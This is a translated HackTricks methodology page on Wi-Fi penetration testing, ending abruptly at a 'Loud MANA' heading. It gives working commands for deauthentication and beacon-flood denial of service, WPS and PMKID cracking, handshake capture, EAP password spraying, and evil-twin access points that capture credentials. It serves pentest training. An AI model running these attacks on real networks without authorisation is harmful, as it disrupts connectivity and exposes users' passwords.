hacktricks/generic-methodologies-and-resources/pentesting-wifi
2024-11-19 12:25:18 +00:00
..
evil-twin-eap-tls.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:17:52 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2024-11-19 12:25:18 +00:00

Pentesting Wifi

{% hint style="success" %} 学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界

最新公告
了解最新的漏洞赏金发布和重要平台更新

今天就加入我们的 Discord,开始与顶级黑客合作吧!

Wifi 基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用 Docker 运行 airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

从: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来成功获取网络真实密码或捕获社交网络凭据。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

该工具自动化WPS/WEP/WPA-PSK攻击。它将自动:

  • 设置接口为监控模式
  • 扫描可能的网络 - 并让您选择受害者
  • 如果是WEP - 发起WEP攻击
  • 如果是WPA-PSK
  • 如果是WPSPixie dust攻击和暴力破解攻击注意暴力破解攻击可能需要很长时间。请注意它不会尝试空PIN或数据库/生成的PIN。
  • 尝试从AP捕获PMKID以进行破解
  • 尝试使AP的客户端失去认证以捕获握手
  • 如果有PMKID或握手尝试使用前5000个密码进行暴力破解。

攻击总结

  • DoS
  • 失去认证/解除关联 -- 断开所有人或特定的ESSID/客户端)
  • 随机假AP -- 隐藏网络,可能使扫描器崩溃
  • 过载AP -- 尝试杀死AP通常不是很有用
  • WIDS -- 玩弄IDS
  • TKIP, EAPOL -- 一些特定的DoS攻击针对某些AP
  • 破解
  • 破解WEP(多种工具和方法)
  • WPA-PSK
  • WPS PIN "暴力破解"
  • WPA PMKID 暴力破解
  • [DoS +] WPA握手捕获 + 破解
  • WPA-MGT
  • 用户名捕获
  • 暴力破解凭证
  • 恶意双胞胎有或没有DoS
  • 开放恶意双胞胎 [+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
  • WPA-PSK恶意双胞胎 -- 如果您知道密码,有助于网络攻击
  • WPA-MGT -- 有助于捕获公司凭证
  • KARMA, MANA, Loud MANA, 已知信标
  • + 开放 -- 有助于捕获强制门户凭证和/或执行局域网攻击
  • + WPA -- 有助于捕获WPA握手

DOS

失去认证数据包

来自 这里:的描述。

失去认证攻击是Wi-Fi黑客中一种常见的方法涉及伪造“管理”帧以强制断开设备与网络的连接。这些未加密的数据包欺骗客户端使其相信它们来自合法网络从而使攻击者能够收集WPA握手以进行破解或持续干扰网络连接。这种战术令人震惊的简单广泛使用并对网络安全产生重大影响。

使用Aireplay-ng进行失去认证

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示去认证
  • 1 是要发送的去认证数量如果需要可以发送多个0 表示持续发送
  • -a 00:14:6C:7E:40:80 是接入点的 MAC 地址
  • -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址;如果省略,则发送广播去认证(并不总是有效)
  • ath0 是接口名称

断开关联数据包

断开关联数据包,类似于去认证数据包,是在 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备如笔记本电脑或智能手机与接入点AP之间的连接。断开关联和去认证之间的主要区别在于它们的使用场景。虽然 AP 发出 去认证数据包以明确地将流氓设备从网络中移除,断开关联数据包通常在 AP 正在关闭、重启或移动时发送,从而需要断开所有连接的节点。

此攻击可以通过 mdk4模式 "d")执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

更多由 mdk4 进行的 DOS 攻击

这里.

攻击模式 b信标洪水

发送信标帧以在客户端显示虚假 AP。这有时会使网络扫描仪甚至驱动程序崩溃

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式 a: 认证拒绝服务

向范围内所有可访问的接入点AP发送认证帧可能会使这些 AP 过载,尤其是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID 探测和暴力破解

探测接入点 (AP) 检查 SSID 是否被正确揭示,并确认 AP 的范围。此技术与 暴力破解隐藏 SSID(有或没有字典)相结合,有助于识别和访问隐藏网络。

攻击模式 m: Michael 对策利用

向不同的 QoS 队列发送随机或重复的数据包可能会触发 TKIP AP 上的 Michael 对策,导致接入点关闭一分钟。此方法是一种有效的 DoS(拒绝服务)攻击战术。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL 启动和注销数据包注入

EAPOL 启动帧 轰炸接入点会创建 虚假会话,使接入点不堪重负并阻止合法客户端。或者,注入 虚假 EAPOL 注销消息 强制断开客户端,这两种方法都有效地干扰网络服务。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

攻击模式 s针对 IEEE 802.11s 网状网络的攻击

对网状网络中链路管理和路由的各种攻击。

攻击模式 wWIDS 混淆

将客户端交叉连接到多个 WDS 节点或假冒的恶意 AP 可以操纵入侵检测和预防系统,造成混淆和潜在的系统滥用。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个具有多样数据包源和全面数据包操作修改器的数据包模糊器。

Airggedon

Airgeddon 提供了之前评论中提出的大多数攻击:

WPS

WPSWi-Fi 保护设置)简化了将设备连接到路由器的过程,提高了加密为 WPAWPA2 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性它是无效的。WPS 使用一个 8 位数字的 PIN分为两部分进行验证这使其容易受到暴力破解攻击因为组合数量有限11,000 种可能性)。

WPS 暴力破解

执行此操作的主要工具有 2 个Reaver 和 Bully。

  • Reaver 被设计为对 WPS 进行强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
  • Bully 是 WPS 暴力破解攻击的 新实现,用 C 编写。它相较于原始的 reaver 代码有几个优点:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。

该攻击利用了 WPS PIN 的漏洞,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力破解攻击。然而,针对暴力破解攻击的防御措施,如 阻止攻击者的 MAC 地址,要求 MAC 地址轮换 以继续攻击。

在使用 Bully 或 Reaver 等工具获得 WPS PIN 后,攻击者可以推导出 WPA/WPA2 PSK从而确保 持续的网络访问

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能暴力破解

这种精细的方法针对使用已知漏洞的WPS PIN

  1. 预先发现的PIN利用与特定制造商相关的已知PIN数据库这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
  2. PIN生成算法利用像ComputePIN和EasyBox这样的算法根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID为PIN生成过程增加了一层。

WPS Pixie Dust攻击

Dominique Bongard发现了一些接入点AP在创建秘密代码称为noncesE-S1E-S2方面的缺陷。如果这些nonces能够被破解破解AP的WPS PIN就变得容易。AP在一个特殊代码哈希中透露PIN以证明其合法性而不是伪造恶意AP。这些nonces本质上是解锁存放WPS PIN的“保险箱”的“钥匙”。更多信息可以在这里找到。

简单来说问题在于一些AP在连接过程中没有使用足够随机的密钥来加密PIN。这使得PIN容易被外部网络猜测离线暴力破解攻击

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

如果您不想将设备切换到监视模式,或者 reaverbully 有一些问题,您可以尝试 OneShot-C。这个工具可以在不切换到监视模式的情况下执行 Pixie Dust 攻击。

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin 攻击

一些设计不良的系统甚至允许 Null PIN(空的或不存在的 PIN授予访问权限这非常不寻常。工具 Reaver 能够测试此漏洞,而 Bully 则无法。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提议的 WPS 攻击都可以轻松地使用 airgeddon.

  • 5 和 6 让你尝试 你的自定义 PIN(如果你有的话)
  • 7 和 8 执行 Pixie Dust 攻击
  • 13 允许你测试 NULL PIN
  • 11 和 12 将 从可用数据库中收集与所选 AP 相关的 PIN生成 可能的 PIN使用ComputePIN、EasyBox 和可选的 Arcadyan推荐为什么不呢
  • 9 和 10 将测试 每一个可能的 PIN

WEP

现在已经破损且不再使用。只需知道 airgeddon 有一个名为 "All-in-One" 的 WEP 选项来攻击这种保护。更多工具提供类似选项。


加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激与挑战的内容

实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界

最新公告
了解最新的漏洞赏金发布和重要平台更新

加入我们 Discord,今天就开始与顶级黑客合作!


WPA/WPA2 PSK

PMKID

在 2018 年,hashcat 揭示 一种新的攻击方法,独特之处在于它只需要 一个单一的数据包,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。

许多现代路由器在关联期间向 第一个 EAPOL 帧添加了一个 可选字段,称为 Robust Security Network。这包括 PMKID

正如原始帖子所解释的,PMKID 是使用已知数据创建的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

鉴于“PMK 名称”是恒定的,我们知道 AP 和站点的 BSSID并且 PMK 与完整的 4 次握手中的相同,hashcat 可以利用这些信息来破解 PSK 并恢复密码短语!

收集这些信息并本地暴力破解密码,您可以执行:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获的 PMKIDs 将显示在 控制台 中,并且也会 保存 在 _ /tmp/attack.pcap_
现在,将捕获的数据转换为 hashcat/john 格式并破解:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确哈希的格式包含 4 部分,如: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 如果您的 包含 3 部分,那么它是 无效的PMKID 捕获无效)。

请注意,hcxdumptool 也捕获握手(会出现类似这样的内容:MP:M1M2 RC:63258 EAPOLTIME:17091)。您可以使用 cap2hccapx 将握手 转换为 hashcat/john 格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

Handshake capture

WPA/WPA2网络的攻击可以通过捕获handshake并尝试crack密码offline来执行。这个过程涉及监控特定网络和特定BSSID在特定channel上的通信。以下是简化的指南:

  1. 确定目标网络的BSSIDchannelconnected client
  2. 使用airodump-ng在指定的channel和BSSID上监控网络流量期望捕获一个handshake。命令将如下所示
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获握手的机会,暂时将客户端从网络中断开,以强制重新认证。这可以使用 aireplay-ng 命令完成,该命令向客户端发送去认证数据包:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

请注意由于客户端被取消认证它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。

一旦在 airodump-ng 中出现一些握手信息,这意味着握手已被捕获,您可以停止监听:

一旦握手被捕获,您可以使用 aircrack-ng 破解 它:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中的握手

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果这个工具在完成的握手之前找到一个ESSID的未完成握手它将无法检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

企业WiFi设置中您将遇到各种认证方法,每种方法提供不同的安全级别和管理功能。当您使用工具如airodump-ng检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (通用令牌卡):
  • 此方法支持硬件令牌和一次性密码在 EAP-PEAP 中。与 MSCHAPv2 不同,它不使用对等挑战,并以明文形式将密码发送到接入点,存在降级攻击的风险。
  1. EAP-MD5 (消息摘要 5):
  • 涉及从客户端发送密码的 MD5 哈希。由于对字典攻击的脆弱性、缺乏服务器认证以及无法生成会话特定的 WEP 密钥,因此不推荐使用。
  1. EAP-TLS (传输层安全):
  • 利用客户端和服务器端证书进行认证,并可以动态生成基于用户和会话的 WEP 密钥以保护通信。
  1. EAP-TTLS (隧道传输层安全):
  • 通过加密隧道提供互认证,并提供一种方法来推导动态的、每用户、每会话的 WEP 密钥。它只需要服务器端证书,客户端使用凭据。
  1. PEAP (受保护的可扩展认证协议):
  • 通过创建 TLS 隧道进行受保护的通信,功能类似于 EAP。由于隧道提供的保护它允许在 EAP 之上使用较弱的认证协议。
  • PEAP-MSCHAPv2: 通常称为 PEAP它将脆弱的 MSCHAPv2 挑战/响应机制与保护性的 TLS 隧道结合在一起。
  • PEAP-EAP-TLS (或 PEAP-TLS): 类似于 EAP-TLS但在交换证书之前启动 TLS 隧道,提供额外的安全层。

您可以在 这里这里 找到有关这些认证方法的更多信息。

用户名捕获

阅读 https://tools.ietf.org/html/rfc3748#page-27,看起来如果您使用 EAP“身份” 消息必须支持,并且用户名将在**“响应身份”消息中以明文**形式发送。

即使使用最安全的认证方法之一:PEAP-EAP-TLS,也可能捕获在 EAP 协议中发送的用户名。为此,捕获认证通信(在一个频道内启动 airodump-ng,并在同一接口中启动 wireshark)并通过 eapol 过滤数据包。
在“响应,身份”数据包中,客户端的用户名将出现。

匿名身份

身份隐藏由 EAP-PEAP 和 EAP-TTLS 支持。在 WiFi 网络的上下文中EAP-身份请求通常由接入点AP在关联过程中发起。为了确保用户匿名性的保护用户设备上的 EAP 客户端的响应仅包含初始 RADIUS 服务器处理请求所需的基本信息。这个概念通过以下场景进行说明:

  • EAP-身份 = 匿名
  • 在这种情况下,所有用户都使用伪名“匿名”作为他们的用户标识符。初始 RADIUS 服务器作为 EAP-PEAP 或 EAP-TTLS 服务器,负责管理 PEAP 或 TTLS 协议的服务器端。内部受保护认证方法可以在本地处理或委托给远程家庭RADIUS 服务器。
  • EAP-身份 = 匿名@realm_x
  • 在这种情况下,来自不同领域的用户隐藏他们的身份,同时指示他们各自的领域。这允许初始 RADIUS 服务器将 EAP-PEAP 或 EAP-TTLS 请求代理到其家庭领域中的 RADIUS 服务器,这些服务器充当 PEAP 或 TTLS 服务器。初始 RADIUS 服务器仅作为 RADIUS 中继节点运行。
  • 另外,初始 RADIUS 服务器可以作为 EAP-PEAP 或 EAP-TTLS 服务器,处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。

在 EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道PEAP 服务器会发起 EAP-身份请求并通过 TLS 隧道发送。客户端通过发送包含用户真实身份的 EAP-身份响应来响应第二个 EAP-身份请求。此方法有效防止任何窃听 802.11 流量的人揭示用户的实际身份。

EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP 或 CHAP 进行身份验证,受 TLS 隧道保护。在这种情况下,客户端在隧道建立后发送的初始 TLS 消息中包含一个用户名称属性和一个密码或 CHAP 密码属性。

无论选择哪种协议PEAP/TTLS 服务器在建立 TLS 隧道后都会获得用户的真实身份。真实身份可以表示为 user@realm 或简单的 user。如果 PEAP/TTLS 服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受 TLS 隧道保护的认证方法。或者PEAP/TTLS 服务器可以将新的 RADIUS 请求转发到用户的家庭 RADIUS 服务器。此新的 RADIUS 请求省略了 PEAP 或 TTLS 协议层。在受保护的认证方法为 EAP 的情况下,内部 EAP 消息将被传输到家庭 RADIUS 服务器,而不带 EAP-PEAP 或 EAP-TTLS 包装。发出的 RADIUS 消息的用户名称属性包含用户的真实身份,替换来自传入 RADIUS 请求的匿名用户名称。当受保护的认证方法为 PAP 或 CHAP仅由 TTLS 支持)时,从 TLS 有效负载中提取的用户名称和其他认证属性将替换发出的 RADIUS 消息中的匿名用户名称和传入 RADIUS 请求中的 TTLS EAP-消息属性。

有关更多信息,请查看 https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-暴力破解(密码喷洒)

如果客户端预计使用用户名和密码(请注意,在这种情况下EAP-TLS 将无效),那么您可以尝试获取用户名列表(见下一部分)和密码,并尝试使用 air-hammer进行暴力破解访问。**

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

您还可以使用 eaphammer 进行此攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择与漫游

  • 802.11 协议定义了一个站点如何加入扩展服务集 (ESS),但并未指定选择 ESS 或其中接入点 (AP) 的标准。
  • 站点可以在共享相同 ESSID 的 AP 之间漫游,保持在建筑物或区域内的连接。
  • 协议要求站点对 ESS 进行身份验证,但不要求 AP 对站点进行身份验证。

首选网络列表 (PNL)

  • 站点将每个连接的无线网络的 ESSID 存储在其首选网络列表 (PNL) 中,以及网络特定的配置细节。
  • PNL 用于自动连接已知网络,通过简化连接过程来改善用户体验。

被动扫描

  • AP 定期广播信标帧,宣布其存在和特性,包括 AP 的 ESSID除非广播被禁用。
  • 在被动扫描期间,站点监听信标帧。如果信标的 ESSID 与站点的 PNL 中的条目匹配,站点可能会自动连接到该 AP。
  • 了解设备的 PNL 可能导致潜在的利用,通过模仿已知网络的 ESSID欺骗设备连接到恶意 AP。

主动探测

  • 主动探测涉及站点发送探测请求以发现附近的 AP 及其特性。
  • 定向探测请求针对特定的 ESSID帮助检测特定网络是否在范围内即使它是一个隐藏网络。
  • 广播探测请求的 SSID 字段为空,并发送到所有附近的 AP让站点检查任何首选网络而不透露其 PNL 内容。

简单的 AP 并重定向到互联网

在解释如何执行更复杂的攻击之前,将解释 如何 仅仅 创建 一个 AP重定向流量 到连接 互联网 的接口。

使用 ifconfig -a 检查用于创建 AP 的 wlan 接口和连接到互联网的接口是否存在。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置 IP路由

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后启动 dnsmasq

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

创建配置文件 hostapd.conf

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,并启动hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

恶意双胞胎攻击利用WiFi客户端识别网络的方式主要依赖网络名称ESSID而不需要基站接入点向客户端进行身份验证。关键点包括

  • 区分困难当设备共享相同的ESSID和加密类型时难以区分合法和恶意接入点。现实世界中的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
  • 客户端漫游和连接操控802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过去身份验证数据包或干扰等方法中断与合法接入点的连接来实现。
  • 执行挑战:在具有多个、位置良好的接入点的环境中成功执行恶意双胞胎攻击可能具有挑战性。去身份验证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者能够去身份验证所有附近的接入点或战略性地放置恶意接入点。

您可以通过以下方式创建一个非常基本的开放恶意双胞胎(没有将流量路由到互联网的能力):

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用 eaphammer 创建一个 Evil Twin请注意要使用 eaphammer 创建恶意双胞胎,接口 不应 处于 监控 模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

请注意默认情况下如果PNL中的ESSID被保存为WPA保护设备将不会自动连接到开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击并希望用户手动连接到您的开放恶意双胞胎或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手使用此方法您将无法让受害者连接到您因为您不知道PSK但您可以捕获握手并尝试破解它

某些操作系统和防病毒软件会警告用户连接到开放网络是危险的...

WPA/WPA2 Evil Twin

您可以创建一个使用WPA/2的恶意双胞胎如果设备已配置为使用WPA/2连接到该SSID它们将尝试连接。无论如何要完成4路握手,您还需要知道客户端将要使用的密码。如果您不知道它,连接将无法完成

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业恶意双胞胎

要理解这些攻击,我建议在简要阅读之前先阅读 WPA 企业解释

使用 hostapd-wpe

hostapd-wpe 需要一个 配置 文件才能工作。要 自动化 生成这些配置,您可以使用 https://github.com/WJDigby/apd_launchpad(下载 /etc/hostapd-wpe/ 中的 python 文件)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中,您可以选择许多不同的选项,如 ssid、频道、用户文件、cret/key、dh 参数、wpa 版本和 auth...

使用 hostapd-wpe 和 EAP-TLS 允许任何证书登录。

使用 EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下EAPHammer 目的在于这些认证方法(注意 GTC 是第一个尝试获取明文密码的方法,然后使用更强大的认证方法):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长连接时间的默认方法。然而,您也可以指定将身份验证方法从最弱到最强提供给服务器:

--negotiate weakest

或者你也可以使用:

  • --negotiate gtc-downgrade 来使用高效的 GTC 降级实现(明文密码)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP 手动指定提供的方法(以相同的顺序提供相同的认证方法,使得攻击更难被检测)。
  • 在维基中找到更多信息

使用 Airgeddon

Airgeddon 可以使用之前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5以便能够 捕获用户和密码的 MD5。之后,攻击者可以尝试破解密码。
Airgeddon 为你提供了 持续的恶意双胞胎攻击(嘈杂)仅在有人连接时创建恶意攻击(平滑) 的可能性。

在恶意双胞胎攻击中调试 PEAP 和 EAP-TTLS TLS 隧道

此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,因此这也应该适用于 EAP-TTLS

hostapd-wpe配置注释 包含 dh_file 的行(从 dh_file=/etc/hostapd-wpe/certs/dh#dh_file=/etc/hostapd-wpe/certs/dh
这将使 hostapd-wpe 使用 RSA 交换密钥 而不是 DH因此你将能够 解密 流量,前提是 知道服务器的私钥

现在使用 hostapd-wpe 启动 恶意双胞胎,并使用该修改过的配置如往常一样。还要在执行恶意双胞胎攻击的 接口 中启动 wireshark

现在或稍后(当你已经捕获了一些认证意图时),你可以在 Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit... 中将私有 RSA 密钥添加到 wireshark。

添加一个新条目,并用以下值填写表单:IP 地址 = any -- 端口 = 0 -- 协议 = data -- 密钥文件选择你的密钥文件,为避免问题选择一个 没有密码保护的密钥文件)。

然后查看新的 "解密的 TLS" 标签

KARMA, MANA, Loud MANA 和已知信标攻击

ESSID 和 MAC 黑白名单

不同类型的媒体接入控制过滤列表MFACLs及其对应的模式和对恶意接入点AP行为的影响

  1. 基于 MAC 的白名单
  • 恶意 AP 仅对白名单中指定的设备的探测请求作出响应,对未列出的所有其他设备保持不可见。
  1. 基于 MAC 的黑名单
  • 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
  1. 基于 SSID 的白名单
  • 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对未包含这些 ESSID 的设备不可见。
  1. 基于 SSID 的黑名单
  • 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

此方法允许攻击者创建一个恶意接入点AP对所有探测请求做出响应,这些请求来自寻求连接网络的设备。此技术通过模仿设备正在寻找的网络来欺骗设备连接到攻击者的AP。一旦设备向这个流氓AP发送连接请求它就会完成连接导致设备错误地连接到攻击者的网络。

MANA

然后,设备开始忽略未经请求的网络响应降低了原始karma攻击的有效性。然而一种新的方法称为MANA攻击由Ian de Villiers和Dominic White引入。此方法涉及流氓AP通过对设备的广播探测请求做出响应捕获设备的首选网络列表PNL并使用设备之前请求的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了对原始karma攻击的保护。

MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称将此信息添加到列表中。当接收到广播请求时AP会以与设备列表中的任何网络匹配的信息做出响应诱使设备连接到流氓AP。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

